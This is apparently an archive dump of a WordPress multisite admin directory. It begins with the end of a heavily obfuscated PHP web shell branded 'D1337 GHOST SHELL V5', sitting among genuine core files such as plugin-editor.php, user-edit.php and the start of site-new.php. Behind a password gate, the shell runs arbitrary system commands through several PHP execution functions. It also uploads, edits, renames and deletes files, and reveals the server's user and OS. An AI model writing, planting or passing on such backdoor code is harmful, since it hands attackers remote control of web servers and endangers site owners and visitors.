x61\144\144\x69\156\147\x3a\x38\160\x78\73\142\157\162\144\145\162\x3a\x31\x70\x78\x20\x73\x6f\154\x69\x64\40\43\x32\x32\62\73\164\145\170\x74\55\x61\x6c\x69\x67\156\x3a\154\x65\146\164\73\x7d\x74\x68\173\x62\x61\143\x6b\147\x72\x6f\x75\x6e\x64\72\43\61\141\61\141\61\x61\x3b\175\56\156\141\166\173\x6d\x61\162\147\151\x6e\x2d\x62\157\164\164\157\x6d\72\61\65\160\170\73\160\x61\x64\x64\151\x6e\147\x3a\61\x32\x70\170\73\142\x61\143\153\x67\162\157\x75\156\144\72\43\61\141\x31\141\61\141\73\x62\157\162\144\145\162\72\61\x70\x78\40\163\x6f\154\151\x64\x20\x23\x33\63\63\73\175\56\x61\x6c\x65\162\x74\x7b\143\x6f\x6c\x6f\162\72\43\146\146\x30\73\x6d\x61\162\147\x69\156\55\x62\157\x74\x74\x6f\155\x3a\x31\65\x70\170\x3b\175\74\x2f\163\x74\x79\x6c\145\x3e"; goto KT8Rb; xKmS8: Qsug9: goto hPspJ; SBVaC: echo "\74\x2f\164\x61\142\x6c\145\76"; goto PSrlP; JomK3: NUtsb: goto NYIHr; LU6Mr: fp081: goto B6S96; Kgbtf: goto NWxe7; goto oAQsc; W4MV6: goto R6gTM; goto Ppawv; q2STG: echo "\x3c\x21\x44\x4f\x43\124\x59\x50\105\x20\x68\164\155\154\x3e\x3c\150\164\155\154\76\x3c\x68\x65\141\x64\x3e\74\x74\x69\x74\x6c\x65\x3e\104\61\63\x33\x37\40\x56\65\74\x2f\x74\151\x74\154\x65\76"; goto Ta5eK; kyXFT: goto xJ0bP; goto HOr_t; OHYE0: goto q4HCI; goto XpY3Y; q3Hss: ZE5Zx: goto gPId2; KYUNb: y1EKf: goto p3ja4; qJ39f: hV1iG: goto spktr; NirsC: goto XztRG; goto W99GJ; NxgVv: AzyWf: goto zi__C; BriYQ: goto chJy_; goto tCanx; WScpz: if (is_dir($MUQak)) { goto XjX92; } goto zfOn_; Iy70E: ZkfRz: goto HyCz2; AKFCE: L0b85: goto vCnKc; DxZK9: EpksY: goto Bp16V; AwFep: lz0td: goto NR6po; Cyq6H: if (!isset($_GET["\x72\x65\x6e"])) { goto jfb0r; } goto Hi1DB; fLmug: ofd8p: goto pqU1a; sFKTY: goto CnX3P; goto DxNRs; VYmg7: $sAfJX = true; goto S1vy4; UKt_d: ZCOPc: goto Cyq6H; nUsbX: goto Cfp_3; goto hF2i9; rU_6r: SnK1y: goto gxTQ0; jsvMZ: E5gHn: goto vQ3Lj; isHzl: rTJDr: goto vql_H; jIQeH: rmdir($POGIN); goto sQ7cZ; yDq4s: echo "\74\x64\151\x76\40\x63\x6c\x61\x73\163\75\42\x6c\x6f\147\151\156\x2d\142\x6f\x78\x22\76"; goto sFKTY; hZe_b: rl0Xp: goto eHvGJ; EuBc8: JDEx8: goto G5cBp; h90I1: MB5qG: goto CJE_3; OtAir: $MYb6O = "\x44\x69\162\x20\x44\145\154\145\164\145\144"; goto ftqG1; k3Dn_: goto cL5Xm; goto LEmMZ; oAQsc: Cfp_3: goto egspn; mBqBf: goto P1FHE; goto ms1jI; sfuAG: Mwzc7: goto sNNe7; C3iG9: goto Sk65P; goto Twy0v; l2czG: goto xJ4EO; goto R6TOJ; GMvrc: goto vcU1u; goto sNAIQ; qflr3: if (!move_uploaded_file($_FILES["\x66"]["\x74\155\160\x5f\x6e\141\155\145"], $MUQak . "\57" . $_FILES["\x66"]["\156\141\x6d\145"])) { goto KkNKg; } goto TlsYE; Yfjl6: echo "\74\160\162\x65\x20\x73\164\x79\x6c\145\75\47\x62\141\143\x6b\x67\x72\157\165\x6e\144\72\43\x30\x30\60\x3b\160\x61\x64\144\x69\x6e\x67\72\x31\65\x70\170\x3b\142\x6f\x72\x64\x65\x72\72\x31\x70\x78\40\163\x6f\x6c\x69\x64\40\x23\63\x33\x33\73\x63\157\x6c\157\x72\72\43\60\146\x30\73\157\166\145\x72\146\154\x6f\167\55\x78\x3a\x61\x75\164\157\x3b\x27\76\44\40" . $_POST["\x63\155\x64"] . "\12\xa" . htmlspecialchars(aJHgt($_POST["\143\155\x64"])) . "\x3c\x2f\x70\x72\x65\x3e"; goto iy_Lq; Dmz_n: oYUAS: goto yhEdU; ceS6D: goto HGmq6; goto aCD1I; mx2Wd: JyvmS: goto XUiAf; z9b7H: goto OVp6L; goto JomK3; TlsYE: goto rtk1r; goto E71dm; MhHYm: goto LrxJb; goto LU6Mr; KhWm5: jfb0r: goto pRozk; RCBya: goto Qsug9; goto nUsbX; BriSH: if (!is_dir($POGIN)) { goto uencR; } goto SwR_a; sQ7cZ: goto u9EfM; goto Yno9z; EA8n0: MlZWZ: goto NirsC; x1Y4A: header("\x4c\157\x63\x61\164\x69\157\156\x3a\x20\x3f"); goto OPgEV; lUxUm: function ajHGT($fUNxO) { goto b35IN; NEmhG: QGyTj: goto ZVbvh; oh8CJ: M0fg3: goto QrTTQ; ZKM4w: goto E9oyo; goto tOfMD; K7iBt: goto M0fg3; goto lLi3S; KkxyB: goto MRVBR; goto XR6x1; rpujh: goto CFqA7; goto S0VIa; N7vPc: unscI: goto z8HxE; mSz2e: goto uG9I7; goto toOdC; Svgl2: Bn_wx: goto CIOUg; m182e: $eTU1f = ''; goto zYmCC; sKOry: goto uAih5; goto cOa2_; XW_h3: pclose($p7IRD); goto BIpRn; WHrX5: goto hOPbi; goto V9vYU; r7Mqm: goto Z7a4O; goto BZUhA; rXEq8: goto RlodA; goto MS4mi; qzDXv: goto nYpoK; goto hOLP5; vu_WF: XgtXV: goto YX09y; JOjht: goto YvSUL; goto Ywjgi; xHJpY: cQS_T: goto NQf6Q; wUXlY: t92mf: goto Yld5o; A9WhR: wPi0h: goto W1L77; zYmCC: goto iW43I; goto ZkLzc; G8eN0: kJeWe: goto qLLLD; hIPpK: fclose($MzUcy[0]); goto oty2j; rX6p3: proc_close($CyVUb); goto fhcM1; fDC8O: goto UK4Xk; goto aWKPK; OHTiR: goto OyjyN; goto HVMaT; pTpii: POEdm: goto hS5tw; XVNOo: do12S: goto i2Jmm; p_s0z: goto K8lPD; goto vu_WF; NPy_h: goto jYX9V; goto df5cx; eHMfg: goto wyKkc; goto N7vPc; mcHIi: goto CFqA7; goto iTUWX; knvOO: passthru($fUNxO); goto e9qpp; e9qpp: goto T5Z76; goto oh8CJ; df5cx: iW43I: goto zZmAk; Ujgj3: RlodA: goto Epm2R; YZ_j1: XpUus: goto qyp1K; BIpRn: goto H63j7; goto Svgl2; ZPSW4: MRVBR: goto q2oyv; ml9Pr: goto Hzl7n; goto Alhd4; bf4FG: goto t1PkP; goto L1ZRB; G0zvD: goto Ekzg9; goto mXqyD; Ub2N9: r0MM8: goto SPN3r; iwHnn: TESER: goto hoCIK; OZNfE: H63j7: goto JG1n1; zZmAk: if (!function_exists("\163\x79\x73\x74\145\155")) { goto XpUus; } goto rleeI; hKVp5: vCfRv: goto fKtR2; pxTgQ: TCGWB: goto KkxyB; SPN3r: goto nQG0N; goto Ujgj3; l7lDD: LZh8W: goto OmYdi; Rmp9U: E9oyo: goto Df8E4; mJq61: goto TCGWB; goto KuluV; IKIMc: goto CFqA7; goto ffSfz; rleeI: goto r0MM8; goto YZ_j1; UtNpA: xL0IB: goto xHJpY; eqH3k: goto sO8mu; goto XVNOo; xvksn: uG9I7: goto PYQ1H; XR6x1: jYX9V: goto bdkmW; bdkmW: $eTU1f = implode("\xa", $evOKL); goto c3IN4; Epm2R: if (!function_exists("\x70\162\x6f\x63\137\x6f\x70\x65\156")) { goto YCdGx; } goto Kjzl6; m5LQO: Xy4FZ: goto vrsqX; i2IKR: if (!function_exists("\163\150\145\154\x6c\137\x65\x78\145\143")) { goto unscI; } goto eHMfg; PvCOC: ob_end_clean(); goto eqH3k; q2oyv: if (!feof($p7IRD)) { goto A8Kfm; } goto j2tHq; fFcfT: t1PkP: goto EvPgM; hoCIK: ob_end_clean(); goto HkUdc; iTUWX: goto RLV3d; goto sbl3W; YDyP8: goto PBKmh; goto QYufW; OO8En: K8lPD: goto ICEUL; tS0Ja: alIqF: goto ZdDAL; jhZW2: goto w82J6; goto q7Xl4; s2j73: goto CFqA7; goto PFBr0; nGGRr: if (!function_exists("\145\x78\145\143")) { goto POEdm; } goto xEnRH; z8HxE: goto hu24U; goto m5LQO; W1L77: ob_start(); goto OHTiR; sbl3W: Z7a4O: goto hIPpK; miVsg: wyKkc: goto rtN3M; V9vYU: Hzl7n: goto xdSjb; s2C2g: goto TESER; goto pX2a6; f2fjE: goto CFqA7; goto p_s0z; fhcM1: goto P6cyY; goto A9WhR; S0VIa: goto Bn_wx; goto xvksn; fkHlz: nYpoK: goto rX6p3; Kjzl6: goto kJeWe; goto jihMl; jMcOz: goto Xy4FZ; goto Jlcnp; xdSjb: fclose($MzUcy[2]); goto qzDXv; d9IRU: UK4Xk: goto f2fjE; jqq_C: fclose($MzUcy[1]); goto ml9Pr; vmdeJ: $CyVUb = proc_open($fUNxO, $z5fbr, $MzUcy); goto bf4FG; EYQm2: P6cyY: goto Rmp9U; jihMl: YCdGx: goto U_FAd; qLLLD: goto QGyTj; goto rO2Mx; NQf6Q: goto wPi0h; goto Ty_2r; Ywjgi: nQG0N: goto nPTgl; Ty_2r: RLV3d: goto Ub2N9; eptj2: goto DdrXw; goto OO8En; tX_00: $eTU1f = stream_get_contents($MzUcy[1]); goto r7Mqm; fKtR2: CFqA7: goto jMcOz; yhyj3: goto KvjmF; goto d9IRU; cOa2_: EpSxK: goto rXEq8; MqqkK: A8Kfm: goto K7iBt; xW0Bs: goto a7aLW; goto iwHnn; L1ZRB: a7aLW: goto XW_h3; Jlcnp: sO8mu: goto s2j73; mXqyD: XB_ok: goto IKIMc; aWKPK: Ekzg9: goto vmdeJ; b35IN: goto KWIgQ; goto ZPSW4; q7Xl4: gjCYr: goto G8eN0; FcfVl: YvSUL: goto i2IKR; toOdC: PBKmh: goto pxTgQ; fzRAH: goto gjCYr; goto NEmhG; rtN3M: goto LZh8W; goto dADr5; ICEUL: uAih5: goto yhyj3; nPTgl: ob_start(); goto ZzZrv; HOC1v: it7ya: goto rpujh; PFBr0: goto SfRHC; goto e8GxR; QYufW: kvOT6: goto PvCOC; MS4mi: w82J6: goto tX_00; i2Jmm: exec($fUNxO, $evOKL); goto NPy_h; KuluV: goto XgtXV; goto HOC1v; Df8E4: goto vCfRv; goto fFcfT; qGGC6: $eTU1f = ob_get_contents(); goto s2C2g; U_FAd: goto kHVZJ; goto OZNfE; hS5tw: goto t92mf; goto wUXlY; oty2j: goto Fia1O; goto EYQm2; qyp1K: goto qgHOL; goto hKVp5; e8GxR: Fia1O: goto jqq_C; xEnRH: goto rigMm; goto pTpii; HVMaT: OyjyN: goto knvOO; jds7S: goto cQS_T; goto vKevi; ZVbvh: $z5fbr = array(0 => array("\x70\x69\x70\x65", "\162"), 1 => array("\x70\151\160\x65", "\167"), 2 => array("\160\x69\x70\145", "\x77")); goto G0zvD; c3IN4: goto XB_ok; goto BG244; ZkLzc: T5Z76: goto B6XrX; HkUdc: goto it7ya; goto fkHlz; vKevi: aUlGQ: goto JOjht; BG244: kHVZJ: goto mcHIi; EvPgM: if (is_resource($CyVUb)) { goto c_CwO; } goto ZKM4w; OmYdi: $eTU1f = shell_exec($fUNxO); goto fDC8O; YhMEI: goto kvOT6; goto UtNpA; YX09y: Edm78: goto xW0Bs; JG1n1: goto CFqA7; goto fzRAH; rO2Mx: qgHOL: goto nGGRr; CIOUg: rigMm: goto WwZAw; Yld5o: if (!function_exists("\160\141\x73\x73\x74\150\x72\165")) { goto aUlGQ; } goto jds7S; ZdDAL: system($fUNxO); goto eptj2; lLi3S: SfRHC: goto miVsg; ZzZrv: goto alIqF; goto tS0Ja; Alhd4: hu24U: goto c04G1; hOLP5: KvjmF: goto zZ63y; tOfMD: c_CwO: goto jhZW2; j2tHq: goto Edm78; goto MqqkK; BZUhA: hOPbi: goto mJq61; WwZAw: goto do12S; goto FcfVl; dADr5: DdrXw: goto qGGC6; B6XrX: $eTU1f = ob_get_contents(); goto YhMEI; c04G1: if (!function_exists("\x70\157\160\145\x6e")) { goto EpSxK; } goto sKOry; QrTTQ: $eTU1f .= fread($p7IRD, 1024); goto WHrX5; pX2a6: KWIgQ: goto m182e; vrsqX: return $eTU1f; goto mSz2e; ffSfz: goto xL0IB; goto l7lDD; zZ63y: $p7IRD = popen($fUNxO, "\x72"); goto YDyP8; PYQ1H: } goto FKqaO; pqU1a: if (isset($_POST["\x6e\145\x77\x5f\x6e\141\x6d\145"])) { goto DFj1U; } goto vUejD; Y_xuj: aV0Zv: goto IPFXH; EjALj: goto iGQZP; goto Z2MRe; R_TyO: goto NSFLT; goto h90I1; I_FEa: if (!(isset($_GET["\160\141\x73\163"]) && md5($_GET["\160\x61\163\163"]) == $mry9b)) { goto zwXt9; } goto vvjcH; XdDry: pJBnG: goto lJpOy; CcF64: goto F1h4a; goto cSFSk; R6TOJ: V6abi: goto rw248; UMLA0: u9EfM: goto OtAir; es3wC: xlbWg: goto OLcyi; SvynS: cL5Xm: goto w3Mqf; jViQO: echo "\74\144\151\166\x20\143\x6c\x61\x73\163\x3d\x27\x6e\141\166\x27\x3e\74\146\x6f\162\x6d\x20\x6d\x65\x74\150\x6f\144\75\x27\x70\157\163\164\x27\40\145\x6e\143\x74\x79\160\x65\75\47\155\165\x6c\x74\151\160\141\x72\x74\x2f\x66\157\162\155\x2d\144\x61\x74\141\x27\x20\141\143\x74\151\x6f\x6e\x3d\47\x3f\144\x3d{$MUQak}\x27\76\125\160\x6c\157\x61\144\x20\x46\x69\154\145\72\x20\x3c\151\156\160\165\x74\x20\x74\171\160\x65\75\47\146\x69\154\x65\x27\x20\156\141\155\x65\75\47\146\47\x3e\x20\x3c\151\x6e\x70\x75\164\40\x74\171\x70\x65\x3d\x27\163\x75\x62\155\x69\x74\x27\x20\x76\141\154\x75\x65\x3d\47\x55\x70\x6c\157\x61\144\47\x3e\74\57\x66\157\162\x6d\76\74\57\x64\151\x76\76"; goto CJaqW; hF2i9: EBj3f: goto q2STG; qRhHH: $sAfJX = true; goto dl6QF; p3JeQ: echo "\x3c\x66\157\x72\x6d\40\155\145\164\150\157\144\x3d\42\160\x6f\x73\x74\42\x3e\x3c\151\156\160\x75\164\40\x74\x79\x70\x65\x3d\x22\160\141\163\163\167\157\x72\x64\x22\40\x6e\141\x6d\145\75\x22\160\141\x73\x73\x22\40\x70\x6c\x61\x63\x65\x68\x6f\x6c\144\145\162\75\42\x50\x61\x73\x73\x77\157\162\144\56\x2e\x2e\x22\x20\141\165\x74\x6f\146\x6f\143\165\163\76\74\x62\162\76\74\x69\156\x70\165\164\40\x74\171\x70\x65\x3d\x22\163\165\x62\155\151\164\x22\40\166\x61\x6c\165\x65\x3d\42\x4c\x6f\x67\x69\156\42\x3e\74\57\x66\157\x72\x6d\76"; goto pAnJu; Ta5eK: goto fp081; goto yqCLM; OMZmE: echo "\74\x64\x69\x76\40\x63\x6c\x61\x73\163\x3d\47\141\154\x65\162\x74\47\76\133\x2a\135\40{$MYb6O}\x3c\57\144\x69\x76\76"; goto R_TyO; dPF_1: $MUQak = isset($_GET["\x64"]) ? $_GET["\144"] : getcwd(); goto iqAB0; EnTZn: udMZ_: goto YMe2p; Pg5yM: echo "\74\x73\164\171\x6c\145\76\x62\x6f\144\171\x7b\x62\x61\143\153\x67\162\x6f\165\x6e\144\x3a\43\x30\142\x30\x62\60\x62\73\143\157\154\x6f\162\x3a\x23\x30\146\x30\73\x66\157\156\164\x2d\146\x61\x6d\x69\x6c\171\x3a\x6d\157\156\x6f\163\x70\x61\143\145\73\144\x69\x73\160\x6c\141\x79\72\x66\154\145\x78\73\x6a\x75\163\x74\x69\x66\171\55\x63\157\156\164\x65\156\x74\x3a\x63\x65\x6e\x74\x65\x72\x3b\x61\154\x69\x67\x6e\x2d\151\x74\145\x6d\x73\x3a\143\x65\x6e\x74\145\x72\x3b\x68\145\151\x67\150\x74\x3a\61\x30\60\x76\150\73\155\141\162\x67\151\156\x3a\60\x3b\x7d\40\56\x6c\x6f\x67\x69\x6e\x2d\x62\157\x78\173\142\141\143\153\x67\162\157\x75\x6e\144\x3a\43\x31\x31\61\x3b\160\x61\x64\144\151\156\147\x3a\63\60\x70\170\73\142\x6f\x72\x64\145\162\72\61\x70\170\40\163\157\154\x69\x64\x20\x23\63\63\x33\x3b\x74\x65\x78\164\55\x61\x6c\151\x67\156\72\143\145\156\x74\145\162\x3b\175\40\151\156\x70\x75\164\133\x74\x79\160\145\x3d\x22\160\141\x73\x73\167\157\x72\144\42\x5d\173\142\x61\143\153\147\162\157\x75\x6e\144\x3a\x23\x30\x30\60\x3b\x63\x6f\x6c\157\162\x3a\x23\x30\146\60\73\142\x6f\162\x64\145\x72\72\61\x70\170\40\x73\157\x6c\151\x64\40\x23\63\63\x33\73\160\x61\x64\144\151\156\x67\x3a\x31\60\x70\170\73\x6d\x61\162\x67\x69\x6e\x3a\x31\60\160\170\40\x30\x3b\x77\x69\144\x74\x68\72\x38\60\45\73\x7d\40\x69\x6e\x70\165\x74\133\164\x79\160\145\x3d\x22\163\165\x62\155\x69\164\x22\x5d\x7b\142\x61\143\x6b\x67\162\x6f\165\x6e\144\x3a\43\61\x61\61\x61\x31\141\x3b\x63\x6f\x6c\x6f\162\72\43\x30\146\x30\73\142\x6f\x72\x64\145\x72\x3a\x31\160\170\x20\x73\x6f\154\x69\x64\40\43\x33\63\x33\73\160\x61\144\x64\x69\x6e\x67\72\61\x30\x70\x78\x20\x32\x30\x70\x78\73\143\x75\162\x73\x6f\162\x3a\x70\x6f\x69\156\x74\x65\162\x3b\175\40\151\156\x70\x75\164\133\164\171\160\x65\75\42\x73\x75\x62\x6d\151\164\x22\x5d\72\x68\x6f\x76\x65\162\173\x62\141\x63\153\x67\162\x6f\165\x6e\x64\72\43\63\x33\63\x3b\x7d\74\57\163\x74\x79\154\x65\x3e\74\x2f\x68\x65\141\x64\x3e\74\x62\x6f\x64\171\76"; goto WrJhA; zXJpq: ekPGE: goto WScpz; FR_8q: goto JIA2M; goto X4Ar6; RWs0A: NazPR: goto pCJRO; eHvGJ: G25VS: goto F_0C8; fYy4i: goto vvq7o; goto jux1w; zFAcF: F2Z1x: goto nTIEv; vvjcH: goto NVhnJ; goto cr3Nv; XJ0bW: UPtWd: goto Tv10Z; S1vy4: goto iztyJ; goto wU3ji; uW59q: goto W1tn_; goto IM6yR; nYMER: if (isset($_POST["\x66\x69\x6c\x65\x5f\x63\x6f\x6e\x74\145\156\164"]) && isset($_GET["\145\144\151\x74"])) { goto HyDR8; } goto bNaVj; H4_dc: goto uWk1c; goto vaD4_; Bp16V: NVhnJ: goto CgzBv; CbbGC: Hg1Sv: goto jIQeH; cafE8: goto u1yjN; goto tOUD1; jux1w: l2byp: goto nVGtq; S0NNa: $_SESSION["\144\61\x33\63\x37\137\x61\165\164\150"] = true; goto OHYE0; erFjn: if ($MYb6O != '') { goto JDEx8; } goto ZoTS6; My1wA: goto Zbecv; goto rK7DY; i3MWm: echo "\x3c\x21\104\117\x43\124\x59\120\105\40\150\x74\x6d\x6c\x3e\x3c\x68\x74\155\154\x3e\74\150\145\141\144\x3e\74\164\151\164\154\145\x3e\114\x6f\x67\x69\156\x20\x2d\40\x44\x31\63\x33\x37\74\57\164\x69\x74\x6c\145\x3e"; goto W4MV6; w33Le: goto Tq24G; goto KsRoQ; dyDbe: goto aV0Zv; goto gnQKp; rHAgM: goto v0ghJ; goto eqcOA; u9Voa: goto D5g3G; goto MQY52; w3Mqf: goto DuD0x; goto NxgVv; OPgEV: goto JGX1L; goto sHLuL; PIBl9: file_put_contents($_GET["\x65\x64\151\x74"], $_POST["\x66\151\154\x65\137\x63\157\156\164\145\156\164"]); goto hreWf; p7XPE: R6gTM: goto Pg5yM; SGbJo: gUb8C: goto eefhc; ZUOyU: goto Sbw6V; goto VMckI; d1n9t: if (!$sAfJX) { goto FrpYn; } goto EjALj; fmcmq: $gjrdj = $_GET["\x65\144\x69\x74"]; goto nN4qn; Fd7FU: exit; goto NCD3S; RczNU: dpqay: goto cHQ1B; FKqaO: goto mnck2; goto iRdkR; YqtIs: goto tQlAq; goto vMh3Q; LXsBF: llFEc: goto dfr8T; H3h7v: U_EPR: goto JMZV2; eqcOA: DFsD3: goto iBjjU; NR6po: echo "\x3c\x64\151\x76\40\x63\154\141\x73\x73\x3d\47\156\x61\x76\x27\76\x3c\x62\76\x44\x31\63\63\67\x20\x47\110\x4f\123\124\x20\123\110\x45\114\x4c\x20\126\x35\x3c\x2f\142\76\40\x7c\40\125\x73\x65\162\72\40" . get_current_user() . "\40\174\x20\117\x53\72\40" . php_uname() . "\40\x7c\40\x3c\x61\x20\x68\x72\145\x66\x3d\x27\77\x6c\x6f\x67\x6f\165\x74\x27\76\x5b\x4c\157\147\x6f\x75\164\135\74\x2f\141\76\x3c\57\144\151\166\76"; goto G5f62; Hi1DB: goto JtgQo; goto KhWm5; L5FVm: YH8EZ: goto y6rbG; iy_Lq: goto mE_f_; goto mJD0V; OLcyi: foreach ($iyHa0 as $Gpz_x) { goto V1EC0; fr7ik: goto Adgls; goto uMDgL; FJGYP: auS3q: goto p79fl; jcHWP: goto ilajd; goto brU89; p79fl: echo "\x3c\164\x72\76\74\164\x64\76\74\x61\40\150\162\x65\146\75\47\77\x64\x3d{$MUQak}\46\145\x64\x69\164\x3d{$MUQak}\x2f{$Gpz_x}\47\76{$Gpz_x}\74\57\141\x3e\x3c\57\164\x64\76\x3c\x74\144\76{$dhUsT}\74\57\164\144\x3e\x3c\x74\x64\76{$Wm197}\x3c\57\164\x64\x3e\x3c\164\x64\x3e\x3c\x61\x20\150\162\145\146\75\x27\77\x64\x3d{$MUQak}\46\145\x64\x69\164\x3d{$MUQak}\57{$Gpz_x}\47\x3e\x45\144\x69\164\x3c\x2f\x61\76\40\174\40\x3c\x61\x20\x68\x72\x65\146\x3d\x27\x3f\x64\75{$MUQak}\x26\x72\x65\156\75{$MUQak}\x2f{$Gpz_x}\47\x3e\x52\145\x6e\x61\155\145\x3c\x2f\141\76\x20\x7c\x20\x3c\141\40\x68\x72\145\x66\x3d\47\77\144\75{$MUQak}\x26\144\145\154\x3d{$MUQak}\57{$Gpz_x}\x27\x3e\x44\145\154\145\164\x65\x3c\57\141\76\x3c\57\164\144\76\74\x2f\164\x72\x3e"; goto fr7ik; V1EC0: goto Wyb1A; goto nbqZA; fE1pO: goto iZSHN; goto kCL_o; BQCys: oDJ49: goto j4gUD; F88sC: goto QUqib; goto TdaCC; HwgXx: goto Sv8eo; goto C1YAL; nbqZA: ilajd: goto hJF7T; C1YAL: goto zoBGg; goto FJGYP; brU89: zoBGg: goto lPGwz; N7cRl: goto auS3q; goto f1Auh; htnQT: I_aFf: goto IZA_U; kCL_o: Wyb1A: goto KVNU4; IZA_U: goto VI0SF; goto tc_WO; hJF7T: $Wm197 = HqRCO($MUQak . "\57" . $Gpz_x); goto N7cRl; lPGwz: Qi2JI: goto fE1pO; TdaCC: VI0SF: goto HwgXx; oZBEL: goto Qi2JI; goto htnQT; KVNU4: if (!is_file($MUQak . "\x2f" . $Gpz_x)) { goto I_aFf; } goto oZBEL; uMDgL: iZSHN: goto OT0rT; tc_WO: QUqib: goto BQCys; f1Auh: Adgls: goto iJ9BR; iJ9BR: Sv8eo: goto F88sC; OT0rT: $dhUsT = round(filesize($MUQak . "\57" . $Gpz_x) / 1024, 2) . "\x20\x4b\x42"; goto jcHWP; j4gUD: } goto hm6ut; yPs0k: vvq7o: goto qjqom; YvHbX: $MUQak = str_replace("\x5c", "\x2f", $MUQak); goto yLVWs; RDUOE: echo "\74\x68\x32\76\104\61\63\x33\67\40\x47\x48\117\x53\x54\x20\123\x48\105\114\x4c\x20\126\65\x3c\x2f\150\x32\x3e"; goto dEAkR; VMckI: UFPKE: goto erFjn; JMZV2: echo "\74\57\x62\x6f\144\x79\x3e\x3c\57\x68\x74\x6d\x6c\x3e";
?>plugin-editor.php000064400000000405152333305150010036 0ustar00<?php
/**
 * Plugin editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-editor.php';
user-edit.php000064400000000375152333305150007163 0ustar00<?php
/**
 * Edit user network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/user-edit.php';
site-new.php000064400000022206152333305150007012 0ustar00<?php
/**
 * Add Site Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'create_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '</p>' .
			'<p>' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/article/network-admin-sites-screen/">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-blog', '_wpnonce_add-blog' );

	if ( ! is_array( $_POST['blog'] ) ) {
		wp_die( __( 'Can&#8217;t create an empty site.' ) );
	}

	$blog   = $_POST['blog'];
	$domain = '';

	$blog['domain'] = trim( $blog['domain'] );
	if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) {
		$domain = strtolower( $blog['domain'] );
	}

	// If not a subdomain installation, make sure the domain isn't a reserved word.
	if ( ! is_subdomain_install() ) {
		$subdirectory_reserved_names = get_subdirectory_reserved_names();

		if ( in_array( $domain, $subdirectory_reserved_names, true ) ) {
			wp_die(
				sprintf(
					/* translators: %s: Reserved names list. */
					__( 'The following words are reserved for use by WordPress functions and cannot be used as blog names: %s' ),
					'<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>'
				)
			);
		}
	}

	$title = $blog['title'];

	$meta = array(
		'public' => 1,
	);

	// Handle translation installation for the new site.
	if ( isset( $_POST['WPLANG'] ) ) {
		if ( '' === $_POST['WPLANG'] ) {
			$meta['WPLANG'] = ''; // en_US
		} elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) {
			$meta['WPLANG'] = $_POST['WPLANG'];
		} elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
			$language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) );
			if ( $language ) {
				$meta['WPLANG'] = $language;
			}
		}
	}

	if ( empty( $domain ) ) {
		wp_die( __( 'Missing or invalid site address.' ) );
	}

	if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
		wp_die( __( 'Missing email address.' ) );
	}

	$email = sanitize_email( $blog['email'] );
	if ( ! is_email( $email ) ) {
		wp_die( __( 'Invalid email address.' ) );
	}

	if ( is_subdomain_install() ) {
		$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain );
		$path      = get_network()->path;
	} else {
		$newdomain = get_network()->domain;
		$path      = get_network()->path . $domain . '/';
	}

	$password = 'N/A';
	$user_id  = email_exists( $email );
	if ( ! $user_id ) { // Create a new user with a random password.
		/**
		 * Fires immediately before a new user is created via the network site-new.php page.
		 *
		 * @since 4.5.0
		 *
		 * @param string $email Email of the non-existent user.
		 */
		do_action( 'pre_network_site_new_created_user', $email );

		$user_id = username_exists( $domain );
		if ( $user_id ) {
			wp_die( __( 'The domain or path entered conflicts with an existing username.' ) );
		}
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( $domain, $password, $email );
		if ( false === $user_id ) {
			wp_die( __( 'There was an error creating the user.' ) );
		}

		/**
		 * Fires after a new user has been created via the network site-new.php page.
		 *
		 * @since 4.4.0
		 *
		 * @param int $user_id ID of the newly created user.
		 */
		do_action( 'network_site_new_created_user', $user_id );
	}

	$wpdb->hide_errors();
	$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
	$wpdb->show_errors();

	if ( ! is_wp_error( $id ) ) {
		if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) {
			update_user_option( $user_id, 'primary_blog', $id, true );
		}

		wpmu_new_site_admin_notification( $id, $user_id );
		wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
		wp_redirect(
			add_query_arg(
				array(
					'update' => 'added',
					'id'     => $id,
				),
				'site-new.php'
			)
		);
		exit;
	} else {
		wp_die( $id->get_error_message() );
	}
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'added' === $_GET['update'] ) {
		$messages[] = sprintf(
			/* translators: 1: Dashboard URL, 2: Network admin edit URL. */
			__( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ),
			esc_url( get_admin_url( absint( $_GET['id'] ) ) ),
			network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) )
		);
	}
}

$title       = __( 'Add New Site' );
$parent_file = 'sites.php';

